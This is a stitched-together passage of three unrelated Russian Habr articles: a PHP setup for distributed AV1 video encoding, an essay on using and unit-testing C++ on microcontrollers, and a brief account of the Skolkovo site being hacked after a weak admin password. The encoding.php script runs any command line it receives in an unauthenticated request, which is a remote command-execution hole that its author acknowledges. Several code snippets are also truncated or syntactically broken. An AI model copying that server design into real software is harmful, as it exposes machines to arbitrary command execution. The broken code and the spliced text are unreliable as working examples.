1. Для начала нам понадобится Web-сервер, я не буду расписывать, что и как я настраивал, для этого есть очень много инструкций на любой вкус и цвет. Я использовал Apache + PHP. Для PHP важно сделать настройку позволяющую ему получать большие файлы (по дефолту в настройках 2Мб и это мало, наши кусочки могут быть больше). Из плагинов ничего особенного, CURL, JSON.
*Также упомяну про безопасность, которой нет. Все, что я делал — я делал внутри локальной сети, поэтому никаких проверок и авторизаций не сделано, а возможностей для нанесения вреда злоумышленниками — полно. Поэтому, если это будет тестироваться не в защищенных сетях, вопросами безопасности нужно озаботится самостоятельно.*
2. FFmpeg — готовые бинарники я качал с [Zeranoe builds](https://ffmpeg.zeranoe.com/builds/)
3. rav1e — также можно скачать бинарник из релизов проекта [rav1e](https://github.com/xiph/rav1e)
**PHP скрипт для каждого компьютера, который будет участвовать**
Файл encoding.php, по сети должен быть доступен по http: // HOST/remote/encoding.php
Принцип работы такой:
1. Получаем кусочек, сохраняем его в папку
2. Генерим CMD файл с командой для кодирования и удаление самого CMD файла в конце
3. Запускаем CMD файл
В результате если:
1. Есть исходный файл, есть файл результата и есть CMD файл — кодирование еще идет
2. Есть исходный файл, есть файл результата и CMD файла нет — кодирование завершено
Соглашусь, что тут что-то может пойти не так, но только в нештатных режимах, вроде перезагрузки ПК с недоделанной работой, но… черт с ним, сойдет, я договорился со своей совестью.
Скрипт сообщает сколько у него всего потоков и сколько использовано, чтобы кодировщик решал, присылать ему еще кусочки или нет. Также скрипт сообщает о том, какие кусочки сейчас в работе и какие готовы, чтобы кодировщик мог скачать готовые и удалить их с сервера.
encoding.php:
```
php
function getRoot()
{
$root = $_SERVER['DOCUMENT_ROOT'];
if (strlen($root) == 0)
{
$root = dirname(__FILE__)."\\..";
}
return $root;
}
function getStoragePath()
{
return getRoot()."\\storage";
}
function get_total_cpu_cores()
{
$coresFileName = getRoot()."\\cores.txt";
if (file_exists($coresFileName))
{
return intval(file_get_contents($coresFileName));
}
return (int) ((PHP_OS_FAMILY == 'Windows')?(getenv("NUMBER_OF_PROCESSORS")+0):substr_count(file_get_contents("/proc/cpuinfo"),"processor"));
}
function antiHack($str)
{
$strOld = "";
while ($strOld != $str)
{
$strOld = $str;
$str = str_replace("\\", "", $str);
$str = str_replace("/", "",$str);
$str = str_replace("|","", $str);
$str = str_replace("..","", $str);
}
return $str;
}
$filesDir = getStoragePath()."\\encfiles";
if (!is_dir($filesDir))
{
mkdir($filesDir);
}
$resultDir = $filesDir."\\result";
if (!is_dir($resultDir))
{
mkdir($resultDir);
}
$active = glob($filesDir.'\\*.cmd');
$all = glob($resultDir.'\\*.*');
$info = [
"active" = count($active),
"total" => get_total_cpu_cores(),
"inProgress" => [],
"done" => []
];
foreach ($all as $key)
{
$pi = pathinfo($key);
$commandFile = $pi["filename"].".cmd";
$sourceFile = $pi["filename"];
if (file_exists($filesDir.'\\'.$sourceFile))
{
if (file_exists($filesDir.'\\'.$commandFile))
{
$info["inProgress"][] = $sourceFile;
}
else
{
$info["done"][] = $sourceFile;
}
}
}
if (isset($_GET["action"]))
{
if ($_GET["action"] == "upload" && isset($_FILES['encfile']) && isset($_POST["params"]))
{
$params = json_decode(hex2bin($_POST["params"]), true);
$fileName = $_FILES['encfile']['name'];
$fileToProcess = $filesDir."\\".$fileName;
move_uploaded_file($_FILES['encfile']['tmp_name'], $fileToProcess);
$commandFile = $fileToProcess.".cmd";
$resultFile = $resultDir."\\".$fileName.$params["outputExt"];
$command = $params["commandLine"];
$command = str_replace("%SRC%", $fileToProcess, $command);
$command = str_replace("%DST%", $resultFile, $command);
$command .= PHP_EOL.'DEL /Q "'.$commandFile.'"';
file_put_contents($commandFile, $command);
pclose(popen('start "" /B "'.$commandFile.'"', "r"));
}
if ($_GET["action"] == "info")
{
header("Content-Type: application/json");
echo json_encode($info);
die();
}
if ($_GET["action"] == "get")
{
if (isset($_POST["name"]) && isset($_POST["params"]))
{
$params = json_decode(hex2bin($_POST["params"]), true);
$fileName = antiHack($_POST["name"]);
$fileToGet = $filesDir."\\".$fileName;
$commandFile = $fileToGet.".cmd";
$resultFile = $resultDir."\\".$fileName.$params["outputExt"];
if (file_exists($fileToGet) && !file_exists($commandFile) && file_exists($resultFile))
{
$fp = fopen($resultFile, 'rb');
header("Content-Type: application/octet-stream");
header("Content-Length: ".filesize($resultFile));
fpassthru($fp);
exit;
}
}
}
if ($_GET["action"] == "remove")
{
if (isset($_POST["name"]) && isset($_POST["params"]))
{
$params = json_decode(hex2bin($_POST["params"]), true);
$fileName = antiHack($_POST["name"]);
$fileToGet = $filesDir."\\".$fileName;
$commandFile = $fileToGet.".cmd";
$resultFile = $resultDir."\\".$fileName.$params["outputExt"];
if (file_exists($fileToGet) && !file_exists($commandFile))
{
if (file_exists($resultFile))
{
unlink($resultFile);
}
unlink($fileToGet);
header("Content-Type: application/json");
echo json_encode([ "result" => true ]);
die();
}
}
header("Content-Type: application/json");
echo json_encode([ "result" => false ]);
die();
}
}
echo "URL Correct";
?>
```
**Локальный скрипт для запуска кодирования encode.php**
Лежит где угодно. Важный момент: как вы видите, командная строка для кодирования прописывается именно в этом файле и эти пути должны быть едины на всех серверах. Поэтому на каждом сервере я скопировал файлы:
* c:\Apps\OneDrive\commands\bin\ffmpeg\ffmpeg.exe — из [Zeranoe builds](https://ffmpeg.zeranoe.com/builds/)
* c:\Apps\OneDrive\commands\bin\ffmpeg\rav1e.exe — из проекта [rav1e](https://github.com/xiph/rav1e)
Тут прописываются все ваши серверы:
```
$servers = [
"LOCAL" => "http://127.0.0.1:8000/remote/encoding.php",
"SERVER2" => "http://192.168.100.25:8000/remote/encoding.php",
];
```
encode.php:
```
php
$ffmpeg = '"c:\Apps\OneDrive\commands\bin\ffmpeg\ffmpeg.exe"';
$params = [
"commandLine" = '"c:\Apps\OneDrive\commands\bin\ffmpeg\ffmpeg" -i "%SRC%" -an -pix_fmt yuv420p -f yuv4mpegpipe - | "c:\Apps\OneDrive\commands\bin\ffmpeg\rav1e" - -s 5 --quantizer 130 -y --output "%DST%"',
"outputExt" => ".ivf"
];
$paramsData = bin2hex(json_encode($params));
$servers = [
"LOCAL" => "http://127.0.0.1:8000/remote/encoding.php",
"SERVER2" => "http://192.168.100.25:8000/remote/encoding.php",
];
if (isset($argc))
{
if ($argc > 1)
{
$fileToEncode = $argv[1];
$timeBegin = time();
$pi = pathinfo($fileToEncode);
$filePartName = $pi["dirname"]."\\".$pi["filename"]."_part%04d.mkv";
$fileList = $pi["dirname"]."\\".$pi["filename"]."_list.txt";
$joinedFileName = $pi["dirname"]."\\".$pi["filename"]."_joined.mkv";
$audioFileName = $pi["dirname"]."\\".$pi["filename"]."_audio.opus";
$finalFileName = $pi["dirname"]."\\".$pi["filename"]."_AV1.mkv";
exec($ffmpeg.' -i "'.$fileToEncode.'" -c copy -an -segment_time 00:00:10 -reset_timestamps 1 -f segment -y "'.$filePartName.'"');
exec($ffmpeg.' -i "'.$fileToEncode.'" -vn -acodec libopus -ab 128k -y "'.$audioFileName.'"');
$files = glob($pi["dirname"]."\\".$pi["filename"]."_part*.mkv");
$sourceParts = $files;
$resultParts = [];
$resultFiles = [];
$inProgress = [];
while (count($files) || count($inProgress))
{
foreach ($servers as $server => $url)
{
if( $curl = curl_init() )
{
curl_setopt($curl, CURLOPT_URL, $url."?action=info");
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
$out = curl_exec($curl);
curl_close($curl);
$info = json_decode($out, true);
//var_dump($info);
if (count($files))
{
if (intval($info["active"]) < intval($info["total"]))
{
$fileName = $files[0];
$key = pathinfo($fileName)["basename"];
$inProgress[] = $key;
//echo "Server: ".$url."\r\n";
echo "Sending part ".$key."[TO ".$server."]...";
if (!in_array($key, $info["done"]) && !in_array($key, $info["inProgress"]))
{
$cFile = curl_file_create($fileName);
$post = ['encfile'=> $cFile, 'params' => $paramsData];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url."?action=upload");
curl_setopt($ch, CURLOPT_POST,1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$result = curl_exec($ch);
curl_close ($ch);
}
echo " DONE\r\n";
echo " Total: ".count($sourceParts).", In Progress: ".count($inProgress).", Left: ".count($files)."\r\n";
$files = array_slice($files, 1);
}
}
if (count($info["done"]))
{
foreach ($info["done"] as $file)
{
if (($key = array_search($file, $inProgress)) !== false)
{
set_time_limit(0);
echo "Receiving part ".$file."... [FROM ".$server."]...";
$resultFile = $pi["dirname"]."\\".$file.".result".$params["outputExt"];
$fp = fopen($resultFile, 'w+');
$post = ['name' => $file, 'params' => $paramsData];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url."?action=get");
curl_setopt($ch, CURLOPT_POST,1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_FILE, $fp);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
//curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_exec($ch);
curl_close($ch);
//fclose($fp);
$resultFiles[] = "file ".$resultFile;
$resultParts[] = $resultFile;
$post = ['name' => $file, 'params' => $paramsData];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url."?action=remove");
curl_setopt($ch, CURLOPT_POST,1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_exec($ch);
curl_close($ch);
fclose($fp);
unset($inProgress[$key]);
echo " DONE\r\n";
echo " Total: ".count($sourceParts).", In Progress: ".count($inProgress).", Left: ".count($files)."\r\n";
}
}
}
}
}
usleep(300000);
}
asort($resultFiles);
file_put_contents($fileList, str_replace("\\", "/", implode("\r\n", $resultFiles)));
exec($ffmpeg.' -safe 0 -f concat -i "'.$fileList.'" -c copy -y "'.$joinedFileName.'"');
exec($ffmpeg.' -i "'.$joinedFileName.'" -i "'.$audioFileName.'" -c copy -y "'.$finalFileName.'"');
unlink($fileList);
unlink($audioFileName);
unlink($joinedFileName);
foreach ($sourceParts as $part)
{
unlink($part);
}
foreach ($resultParts as $part)
{
unlink($part);
}
echo "Total Time: ".(time() - $timeBegin)."s\r\n";
}
}
?>
```
Файл для запуска скрипта кодирования, лежит рядом со скриптом. Путь к PHP настраиваете сами.
encoding.cmd:
```
@ECHO OFF
cd /d %~dp0
SET /p FILENAME=Drag'n'Drop file here and Press Enter:
..\php7\php.exe -c ..\php7\php_standalone.ini encode.php "%FILENAME%"
PAUSE
```
Поехали?
--------
Для теста я использовал известный мультик про кролика [Big Bucks Bunny](https://www.youtube.com/watch?v=S2wAMaM2OYQ), длиной 10 минут и размером 150Мб.
#### Железо
* AMD Ryzen 5 1600 (12 потоков) + 16GB DDR4 (Windows 10)
* Intel Core i7 4770 (8 потоков) + 32GB DDR3 (Windows 10)
* Intel Core i5 3570 (4 потока) + 8GB DDR3 (Windows 10)
* Intel Xeon E5-2650 V2(16 потоков) + 32GB DDR3 (Windows 10)
Итого: 40 потоков
#### Командная строка с параметрами
```
ffmpeg -i "%SRC%" -an -pix_fmt yuv420p -f yuv4mpegpipe - | rav1e - -s 5 --quantizer 130 -y --output "%DST%
```
Результаты
----------
Время кодирования: 55минут
Размер видео: 75мб
За качество говорить не буду, потому что подбор оптимальных параметров кодирования это задача дня заврашнего, а сегодня я преследовал цель добиться вменяемого времени кодирования и мне кажется это получилось. Я опасался, что склеенные кусочки склеятся плохо и будут дерганья в этих моментах, но нет, результат шел ровно, без каких-то рывков.
Отдельно отмечу, что для 1080p требуется около гигабайта оперативной памяти на поток, поэтому памяти должно быть много. Также замечу, что под конец стадо бежит со скоростью самого медленного барана и в то время как Ryzen и i7 уже давно закончили кодирование, Xeon и i5 еще продолжали пыхтеть над своими кусочками. Т.е. более длинное видео в целом кодировалось бы с большим общим fps за счет того, что более быстрые ядра успели бы сделать больше работы.
Запуская конвертацию на одном Ryzen 5 1600 с многопоточностью, максимум что я имел было около 1.5 fps. Здесь же, учитывая, что последние 10 минут кодирования — это добивка последних кусочков медленными ядрами, можно сказать, что получилось около 5-6 fps, что уже не так мало для такого продвинутого кодека. Вот и все, чем я хотел поделиться, надеюсь кому-нибудь это может пригодиться. | https://habr.com/ru/post/511512/ | null | ru | null |
# Особенности использования и тестирования кода С++ на микроконтроллерах
 Так сложилось, что основным языком для работы с микроконтроллерами является C. Многие крупные проекты написаны именно на нем. Но жизнь не стоит на месте. Современные средства разработки уже давно позволяют использовать C++ при разработке ПО для встраиваемых систем. Однако такой подход до сих пор встречается достаточно редко. Не так давно я попробовал использовать С++ при работе над очередным проектом. Об этом опыте я и расскажу в данной статье.
#### Вступление
Большая часть моей работы с микроконтроллерами связана именно с C. Сначала это было требованиями заказчика, а потом стало просто привычкой. При этом, когда дело касалось приложений для Windows, то там использовался сначала C++, ну а потом вообще C#.
Вопросов по поводу C или C++ не возникало долгое время. Даже выход очередной версии MDK от Keil с поддержкой C++ для ARM особо меня не смутил. Если посмотреть демо-проекты Keil, то там все написано на C. При этом C++ вынесен в отдельную папку наравне с Blinky-проектом. CMSIS и LPCOpen тоже написан на C. И если “все” используют C, значит есть какие-то причины.
Но многое поменял .Net Micro Framework. Если кто не знает, то это реализация .Net позволяющая писать приложения для микроконтроллеров на C# в Visual Studio. Более подробно с ним можно познакомиться в [этих](https://geektimes.ru/search/?target_type=posts&q=%5B.net%20micro%20framework%5D&order_by=date) статьях.
Так вот, .Net Micro Framework написан c использованием C++. Впечатлившись этим, я решил попробовать написать очередной проект на С++. Сразу скажу, что однозначных доводов в пользу С++ я в итоге так и не нашел, но некоторые интересные и полезные моменты в таком подходе есть.
#### В чем разница между проектами на С и С++?
Одно из самых главных отличий между C и C++ — то, что второй является объектно-ориентированным языком. Всем известные инкапсуляция, полиморфизм и наследование являются тут привычным делом. С — это процедурный язык. Тут есть только функции и процедуры, а для логической группировки кода используются модули (пара .h + .c). Но если присмотреться к тому, как C используется в микроконтроллерах, то можно увидеть обычный объектно-ориентированный подход.
Посмотрим на код работы со светодиодами из примера Keil для MCB1000 (*Keil\_v5\ARM\Boards\Keil\MCB1000\MCB11C14\CAN\_Demo*):
LED.h:
```
#ifndef __LED_H
#define __LED_H
/* LED Definitions */
#define LED_NUM 8 /* Number of user LEDs */
extern void LED_init(void);
extern void LED_on (uint8_t led);
extern void LED_off (uint8_t led);
extern void LED_out (uint8_t led);
#endif
```
LED.c:
```
#include "LPC11xx.h" /* LPC11xx definitions */
#include "LED.h"
const unsigned long led_mask[] = {1UL << 0, 1UL << 1, 1UL << 2, 1UL << 3,
1UL << 4, 1UL << 5, 1UL << 6, 1UL << 7 };
/*----------------------------------------------------------------------------
initialize LED Pins
*----------------------------------------------------------------------------*/
void LED_init (void) {
LPC_SYSCON->SYSAHBCLKCTRL |= (1UL << 6); /* enable clock for GPIO */
/* configure GPIO as output */
LPC_GPIO2->DIR |= (led_mask[0] | led_mask[1] | led_mask[2] | led_mask[3] |
led_mask[4] | led_mask[5] | led_mask[6] | led_mask[7] );
LPC_GPIO2->DATA &= ~(led_mask[0] | led_mask[1] | led_mask[2] | led_mask[3] |
led_mask[4] | led_mask[5] | led_mask[6] | led_mask[7] );
}
/*----------------------------------------------------------------------------
Function that turns on requested LED
*----------------------------------------------------------------------------*/
void LED_on (uint8_t num) {
LPC_GPIO2->DATA |= led_mask[num];
}
/*----------------------------------------------------------------------------
Function that turns off requested LED
*----------------------------------------------------------------------------*/
void LED_off (uint8_t num) {
LPC_GPIO2->DATA &= ~led_mask[num];
}
/*----------------------------------------------------------------------------
Output value to LEDs
*----------------------------------------------------------------------------*/
void LED_out(uint8_t value) {
int i;
for (i = 0; i < LED_NUM; i++) {
if (value & (1<
```
Если присмотреться, то можно привести аналогию с ООП. LED представляет собой объект, имеющий одну публичную константу, конструктор, 3 публичных метода и одно приватное поле:
```
class LED
{
private:
const unsigned long led_mask[] = {1UL << 0, 1UL << 1, 1UL << 2, 1UL << 3,
1UL << 4, 1UL << 5, 1UL << 6, 1UL << 7 };
public:
unsigned char LED_NUM=8;
public:
LED(); //Аналог LED_init
void on (uint8_t led);
void off (uint8_t led);
void out (uint8_t led);
}
```
Несмотря не то, что код написан на C, в нем используется парадигма объектного программирования. Файл .C представляет собой объект, позволяющий инкапсулировать внутри механизмы реализации публичных методов, описанных в .h файле. Вот только наследования тут нет, поэтому и полиморфизма тоже.
Большая часть кода в проектах, которые я встречал, написана в таком же стиле. И если используется ООП подход, то почему бы не использовать язык, полноценно его поддерживающий? При этом при переходе на C++ по большому счету будет меняться только синтаксис, но не принципы разработки.
Рассмотрим другой пример. Пусть у нас есть устройство, которое использует датчик температуры, подключенный по I2C. Но вот вышла новая ревизия устройства и этот же датчик теперь подключен к SPI. Что делать? Нужно же поддерживать и первую и вторую ревизию устройства, значит, код должен гибко учитывать эти изменения. В С для этого можно использовать предопределения #define, чтобы не писать два почти одинаковых файла. Например
```
#ifdef REV1
#include “i2c.h”
#endif
#ifdef REV2
#include “spi.h”
#endif
void TEMPERATURE_init()
{
#ifdef REV1
I2C_int()
#endif
#ifdef REV2
SPI_int()
#endif
}
```
и так далее.
В С++ можно эту задачу решить немного элегантнее. Сделать интерфейс
```
class ITemperature
{
public:
virtual unsigned char GetValue() = 0;
}
```
и сделать 2 реализации
```
class Temperature_I2C: public ITemperature
{
public:
virtual unsigned char GetValue();
}
class Temperature_SPI: public ITemperature
{
public:
virtual unsigned char GetValue();
}
```
А затем использовать ту или иную реализацию в зависимости от ревизии:
```
class TemperatureGetter
{
private:
ITemperature* _temperature;
pubic:
Init(ITemperature* temperature)
{
_temperature = temperature;
}
private:
void GetTemperature()
{
_temperature->GetValue();
}
#ifdef REV1
Temperature_I2C temperature;
#endif
#ifdef REV2
Temperature_SPI temperature;
#endif
TemperatureGetter tGetter;
void main()
{
tGetter.Init(&temperature);
}
```
Вроде бы разница не очень большая между кодом на C и C++. Объектно-ориентированный вариант выглядит даже более громоздким. Но он позволяет сделать более гибкое решение.
При использовании С можно выделить два основных решения:
* Использовать #define, как показано выше. Данный вариант не очень хорош тем, что “размывает” ответственность модуля. Получается, что он отвечает за несколько ревизий проекта. Когда таких файлов становится много, поддерживать их становится довольно сложно.
* Сделать 2 модуля, так же как при C++. Тут “размытия” не происходит, но усложняется использование этих модулей. Так как у них нет единого интерфейса, то использование каждого метода из этой пары нужно обрамлять в #ifdef. Это ухудшает читаемость, а следовательно, и поддерживаемость кода. И чем выше по абстракции нужно будет поднимать место разделения, тем более громоздким получится код. При этом нужно еще продумывать названия функций для каждого модуля, чтобы они не пересекались, что тоже чревато ухудшением читаемости кода.
Использование полиморфизма дает более красивый результат. С одной стороны, каждый класс решает четкую атомарную задачу, с другой стороны, код не замусорен и легко читается.
“Разветвление” кода на ревизии все равно придется делать и в первом и во втором случае, но использование полиморфизма позволяет легче переносить место разветвления между слоями программы, при этом не загромождать код лишними #ifdef.
Использование полиморфизма позволяет легко сделать еще более интересное решение.
Допустим вышла новая ревизия, в которой стоят оба датчика температуры.
Тот же код при минимальных изменениях позволяет выбирать вам SPI и I2C реализацию в реальном времени, просто используя метод Init(&temperature).
Пример очень упрощенный, но в реальном проекте я использовал тот же подход, чтобы реализовать один и тот же протокол по верх двух разных физических интерфейсов передачи данных. Это позволило легко вынести выбор интерфейса в настройки устройства.
Однако при всем выше сказанном, разница между использованием С и С++ остается не очень большой. Преимущества С++, связанные с ООП не столь очевидны и являются из разряда “на любителя”. Но у использования С++ в микроконтроллерах есть и достаточно серьезные проблемы.
#### Чем опасно использование C++?
Вторым важным отличием C от C++ является использование памяти. C язык по большей части статический. Все функции и процедуры имеют фиксированные адреса, а работа с кучей ведется только по необходимости. С++ — язык более динамический. Обычно его использование подразумевает активную работу с выделением и освобождением памяти. Этим то C++ и опасен. В микроконтроллерах очень мало ресурсов, поэтому важен контроль над ними. Бесконтрольное использование оперативной памяти чревато порчей хранящихся там данных и такими ”чудесами” в работе программы, что мало не покажется никому. Многие разработчики сталкивались с такими проблемами.
Если внимательнее посмотреть на примеры выше, то можно отметить, что классы не имеют конструкторов и декструкторов. Это сделано потому, что они никогда не создаются динамически.
При использовании динамической памяти (и при использовании new) всегда вызывается функция malloc, которая выделяет необходимое количество байт из кучи (heap). Даже если вы все продумаете (хотя это очень сложно) и будете контролировать использование памяти, вы можете столкнуться с проблемой ее фрагментации.
Кучу можно представить в виде массива. Для примера выделим под нее 20 байт:
При каждом выделении памяти происходит просмотр всей памяти (слева направо или справа налево — это не так важно) на предмет наличия заданного количества незанятых байт. Причем эти байты должны все располагаться рядом:
Когда память больше не нужна, она возвращается в исходное состояние:
Очень легко этом может возникнуть ситуация, когда есть достаточное количество свободных байт, но они не располагаются подряд. Пусть будет выделено 10 зон по 2 байта каждая:
Затем будут освобождены 2,4,6,8,10 зоны:
Формально остается свободной половина всей кучи (10 байт). Однако выделить область памяти размером 3 байта все равно не получится, так как в массиве нет 3-х свободных подряд ячеек. Это и называется фрагментацией памяти.
И бороться с этим на системах без виртуализации памяти достаточно сложно. Особенно в больших проектах.
Такую ситуацию можно легко сэмулировать. Я делал это в Keil mVision на микроконтроллере LPC11C24.
Зададим размер кучи в 256 байт:
Пусть у нас есть 2 класса:
```
#include
class foo
{
private:
int32\_t \_pr1;
int32\_t \_pr2;
int32\_t \_pr3;
int32\_t \_pr4;
int32\_t \_pb1;
int32\_t \_pb2;
int32\_t \_pb3;
int32\_t \_pb4;
int32\_t \_pc1;
int32\_t \_pc2;
int32\_t \_pc3;
int32\_t \_pc4;
public:
foo()
{
\_pr1 = 100;
\_pr2 = 200;
\_pr3 = 300;
\_pr4 = 400;
\_pb1 = 100;
\_pb2 = 200;
\_pb3 = 300;
\_pb4 = 400;
\_pc1 = 100;
\_pc2 = 200;
\_pc3 = 300;
\_pc4 = 400;
}
~foo(){};
int32\_t F1(int32\_t a)
{
return \_pr1\*a;
};
int32\_t F2(int32\_t a)
{
return \_pr1/a;
};
int32\_t F3(int32\_t a)
{
return \_pr1+a;
};
int32\_t F4(int32\_t a)
{
return \_pr1-a;
};
};
class bar
{
private:
int32\_t \_pr1;
int8\_t \_pr2;
public:
bar()
{
\_pr1 = 100;
\_pr2 = 10;
}
~bar() {};
int32\_t F1(int32\_t a)
{
return \_pr2/a;
}
int16\_t F2(int32\_t a)
{
return \_pr2\*a;
}
};
```
Как видно, класс bar будет занимать больше памяти чем foo.
В кучу помещается 14 экземпляров класса bar и экземпляр класса foo уже не влезает:
```
int main(void)
{
foo *f;
bar *b[14];
b[0] = new bar();
b[1] = new bar();
b[2] = new bar();
b[3] = new bar();
b[4] = new bar();
b[5] = new bar();
b[6] = new bar();
b[7] = new bar();
b[8] = new bar();
b[9] = new bar();
b[10] = new bar();
b[11] = new bar();
b[12] = new bar();
b[13] = new bar();
f = new foo();
}
```
Если создать всего 7 экземпляров bar, то foo будет тоже нормально создан:
```
int main(void)
{
foo *f;
bar *b[14];
//b[0] = new bar();
b[1] = new bar();
//b[2] = new bar();
b[3] = new bar();
//b[4] = new bar();
b[5] = new bar();
//b[6] = new bar();
b[7] = new bar();
//b[8] = new bar();
b[9] = new bar();
//b[10] = new bar();
b[11] = new bar();
//b[12] = new bar();
b[13] = new bar();
f = new foo();
}
```
Однако если сначала создать 14 экземпляров bar, затем удалить 0,2,4,6,8,10 и 12 экземпляры, то для foo выделить память уже не получится из-за фрагментации кучи:
```
int main(void)
{
foo *f;
bar *b[14];
b[0] = new bar();
b[1] = new bar();
b[2] = new bar();
b[3] = new bar();
b[4] = new bar();
b[5] = new bar();
b[6] = new bar();
b[7] = new bar();
b[8] = new bar();
b[9] = new bar();
b[10] = new bar();
b[11] = new bar();
b[12] = new bar();
b[13] = new bar();
delete b[0];
delete b[2];
delete b[4];
delete b[6];
delete b[8];
delete b[10];
delete b[12];
f = new foo();
}
```
Получается, что полноценно С++ использовать нельзя, и это существенный минус. С архитектурной точки зрения С++ хотя и превосходит С, но незначительно. В итоге существенной выгоды переход на С++ не несет (хотя и больших отрицательных моментов тоже нет). Таким образом, из-за небольшой разницы, выбор языка будет оставаться просто личным предпочтением разработчика.
Но для себя я нашел один существенный положительный момент в использовании С++. Дело в том, что при правильном подходе C++ код для микроконтроллеров можно достаточно легко покрыть юнит-тестами в Visual Studio.
#### Большой плюс C++ — возможность использования Visual Studio.
Лично для меня тема тестирования кода для микроконтроллеров всегда была достаточно сложной. Естественно, код проверялся всевозможными способами, но создание полноценной автоматической системы тестирования всегда требовало огромных затрат, так как нужно было собирать аппаратный стенд и писать для него специальную прошивку. Особенно если речь идет о распределенной IoT системе, состоящей из сотен устройств.
Когда я начал писать проект на С++, мне сразу захотелось попробовать засунуть код в Visual Studio а Keil mVision использовать только для отладки. Во-первых, в Visual Studio очень мощный и удобный редактор кода, во-вторых, в Keil mVision совсем не удобная интеграция с системами контроля версий, а в Visual Studio это все отработано до автоматизма. В-третьих, у меня была надежда, что удастся хотя бы часть кода покрыть юнит-тестами, которые тоже хорошо поддерживаются в Visual Studio. Ну и в-четвертых, это появление Resharper C++ — расширения Visual Studio для работы с С++ кодом, благодаря которому можно заранее избежать многих потенциальных ошибок и следить за стилистикой кода.
Создание проекта в Visual Studio и подключение его к системе контроля версий не вызвало никаких проблем. А вот с юнит-тестами пришлось повозиться.
Классы, абстрагированные от аппаратной части (например, парсеры протокола), достаточно легко поддались тестированию. Но хотелось большего! В своих проектах для работы с периферией я использую заголовочные файлы от Keil. Например, для LPC11C24 это LPC11xx.h. В этих файлах описаны все необходимые регистры в соответствии со стандартом CMSIS. Непосредственно определение конкретного регистра сделано через #define:
```
#define LPC_I2C_BASE (LPC_APB0_BASE + 0x00000)
#define LPC_I2C ((LPC_I2C_TypeDef *) LPC_I2C_BASE )
```
Оказалось, что если правильно переопределить регистры и сделать пару заглушек, то код, использующий периферию, вполне может быть скомпилирован в VisualStudio. Мало того, если сделать статический класс и указывать его поля как адреса регистров, то получится полноценный эмулятор микроконтроллера, позволяющий полноценно тестировать даже работу с периферией:
```
#include
class LPC11C24Emulator
{
public:
static class Registers
{
public:
static LPC\_ADC\_TypeDef ADC;
public:
static void Init()
{
memset(&ADC, 0x00, sizeof(LPC\_ADC\_TypeDef));
}
};
}
#undef LPC\_ADC
#define LPC\_ADC ((LPC\_ADC\_TypeDef \*) &LPC11C24Emulator::Registers::ADC)
```
И дальше делать так:
```
#if defined ( _M_IX86 )
#include "..\Emulator\LPC11C24Emulator.h"
#else
#include
#endif
```
Таким образом можно скомпилировать и оттестировать весь код проекта для микроконтроллеров в VisualStudio с минимальными изменениями.
В процессе разработки проекта на С++ я написал более 300 тестов, покрывающих как чисто аппаратные аспекты, так и абстрагированный от аппаратуры код. При этом заранее найдены примерно 20 достаточно серьезных ошибок, которые, из-за размеров проекта, было бы не просто обнаружить без автоматического тестирования.
#### Выводы
Использовать или не использовать С++ при работе с микроконтроллерами — достаточно сложный вопрос. Выше я показал, что, с одной стороны, архитектурные преимущества от полноценного ООП не так уж и велики, а невозможность полноценной работы с кучей является достаточно большой проблемой. Учитывая эти аспекты, большой разницы между С и С++ для работы с микроконтроллерами нет, выбор между ними вполне может быть обоснован личными предпочтениями разработчика.
Однако мне удалось найти большой положительный момент использования С++ в работе с Visaul Studio. Это позволяет существенно повысить надежность разработки за счет полноценной работы с системами контроля версий, использования полноценных юнит-тестов (в том числе и тестов работы с периферией) и других преимуществ Visual Studio.
Надеюсь, мой опыт будет полезен и кому-то поможет повысить эффективность своей работы.
**Update**:
В комментариях к английской [версии](http://www.codeproject.com/Articles/1081708/Cplusplus-and-microcontrollers-using-and-testing) данной статьи дали полезные ссылки на эту тему:
* Meeting C++ 2015 Lightning Talks: Odin Holmes — special function register abstraction [www.youtube.com/watch?v=AKAYc9ZFBhk](https://www.youtube.com/watch?v=AKAYc9ZFBhk)
* Meeting C++ 2015: John Hinke — Deeply embedded C++ [www.youtube.com/watch?v=TYqbgvHfxjM](https://www.youtube.com/watch?v=TYqbgvHfxjM)
* Meeting C++ 2014: Wouter van Ooijen — Objects? No thanks. [www.youtube.com/watch?v=k8sRQMx2qUw](https://www.youtube.com/watch?v=k8sRQMx2qUw) | https://habr.com/ru/post/390837/ | null | ru | null |
# Что случилось с сайтом фонда «Сколково» вкратце
Все началось с [поста](http://habrahabr.ru/blogs/internet/117202/) хабраюзера [oyaso](https://geektimes.ru/users/oyaso/), в котором он сравнил сумму денег заложенную на разработку сайта фонда инноваций «Сколково» и результатом полученным в виде сайта [i-gorod.com](http://i-gorod.com)
Информация ниже рекомендуется к прочтению журналистам, помощникам всяческих руководителей разных рангов и тем кто ленился читать интересные комментарии к исходному посту.
За считанные часы тема привлекла огромное внимание как хабросообщества, так и интернета в целом. Очень быстро выяснилось, что:* Сайт был собран наспех на системе управления контентом UMI, к которой куплен дешевый шаблон без выкупа авторских прав (т.е. он повторно может быть использован любым желающим).
* Сайт был размещен на старой версии серверного ПО без обновлений, уязвимого к атакам и запущен на web-сервере Apache не приспособленном к высоким нагрузкам.
Это привело к ожидаемому результату, который называется "**Хабраэффект**". Это когда переходы читателей [habrahabr.ru](http://habrahabr.ru) по интересной ссылке приводят к перегрузке и падению упоминаемого сервера.
Однако, хабраэффект был только началом. Пытливые исследователи нашли дыры в сайте, через которые были получены исходные коды, а так же пароли к административной панели и базе данных. Осторожнее, не умрите от смеха! Пароль к админке: **1**
В сети стали появляться как грибы клоны сайта i-gorod.com с правками остроумными и не очень, а исходные коды доступны всем желающим.
<http://j-gorod.com/>
<http://www.skolkoffo.ru/>
<http://www-i-gorod-com.dyndns.org:8000/>
